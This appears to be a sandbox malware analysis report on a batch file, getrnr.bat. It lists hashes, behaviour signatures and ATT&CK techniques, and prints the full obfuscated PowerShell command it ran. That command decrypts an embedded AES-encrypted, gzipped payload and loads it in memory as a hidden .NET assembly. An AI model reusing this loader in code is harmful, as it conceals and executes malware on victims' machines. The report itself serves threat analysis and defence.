d548ff4b3087f7bcf7a83019bef434fe23baef7489c3b92dac45b1ce3e542e5b

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
14/05/2024, 08:44

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General

Target

getrnr.bat
Size

279KB
MD5

167bee7350388d8357a2c7b7a67275de
SHA1

15ad2fbb16264b7f595e600ae4319256b8c83153
SHA256

d548ff4b3087f7bcf7a83019bef434fe23baef7489c3b92dac45b1ce3e542e5b
SHA512

3ece3f5a0bf43264cc31f27ecee046f6093e61064683f5d1b3d6d62ec2c7f8ee7a9452869aeb7c636c02b98cf64852797a1581b6f50b7cb04f3e778242c7cf54
SSDEEP

6144:ADe50b7Ynod1bLuUJV5q5oG+2mYKPvlxL32nAel/W:ADe+ftLuo2m1PNvy/W

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2908	getrnr.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
1644	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2908	getrnr.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2908	getrnr.bat.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1644 wrote to memory of 2908	1644	cmd.exe	29
PID 1644 wrote to memory of 2908	1644	cmd.exe	29
PID 1644 wrote to memory of 2908	1644	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\getrnr.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1644
- C:\Users\Admin\AppData\Local\Temp\getrnr.bat.exe
  "getrnr.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $_CASH_JiNoS = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\getrnr.bat').Split([Environment]::NewLine);foreach ($_CASH_Xcoxe in $_CASH_JiNoS) { if ($_CASH_Xcoxe.StartsWith(':: @')) { $_CASH_rknXM = $_CASH_Xcoxe.Substring(4); break; }; };$_CASH_rknXM = [System.Text.RegularExpressions.Regex]::Replace($_CASH_rknXM, '_CASH_', '');$_CASH_DIvnK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_CASH_rknXM);$_CASH_CznMv = New-Object System.Security.Cryptography.AesManaged;$_CASH_CznMv.Mode = [System.Security.Cryptography.CipherMode]::CBC;$_CASH_CznMv.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$_CASH_CznMv.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zEFw90YEtbw7ZpTxvvNz6EhXoNPmBL+mwZ3UVM6DVaM=');$_CASH_CznMv.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ozT1pR8RbqxqWOY1oBL98w==');$_CASH_bMTfl = $_CASH_CznMv.CreateDecryptor();$_CASH_DIvnK = $_CASH_bMTfl.TransformFinalBlock($_CASH_DIvnK, 0, $_CASH_DIvnK.Length);$_CASH_bMTfl.Dispose();$_CASH_CznMv.Dispose();$_CASH_TDSoU = New-Object System.IO.MemoryStream(, $_CASH_DIvnK);$_CASH_NcZjV = New-Object System.IO.MemoryStream;$_CASH_sJaCx = New-Object System.IO.Compression.GZipStream($_CASH_TDSoU, [IO.Compression.CompressionMode]::Decompress);$_CASH_sJaCx.CopyTo($_CASH_NcZjV);$_CASH_sJaCx.Dispose();$_CASH_TDSoU.Dispose();$_CASH_NcZjV.Dispose();$_CASH_DIvnK = $_CASH_NcZjV.ToArray();$_CASH_cXtdN = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($_CASH_DIvnK);$_CASH_dJxRg = $_CASH_cXtdN.EntryPoint;$_CASH_dJxRg.Invoke($null, (, [string[]] ('')))
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2908

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

\Users\Admin\AppData\Local\Temp\getrnr.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/2908-5-0x000007FEF5F7E000-0x000007FEF5F7F000-memory.dmp

Filesize
4KB

Download
memory/2908-6-0x000000001B610000-0x000000001B8F2000-memory.dmp

Filesize
2.9MB

Download
memory/2908-7-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

Filesize
9.6MB

Download
memory/2908-10-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

Filesize
9.6MB

Download
memory/2908-11-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

Filesize
9.6MB

Download
memory/2908-9-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

Filesize
9.6MB

Download
memory/2908-8-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

Filesize
32KB

Download
memory/2908-12-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

Filesize
9.6MB

Download
memory/2908-13-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

Filesize
9.6MB

Download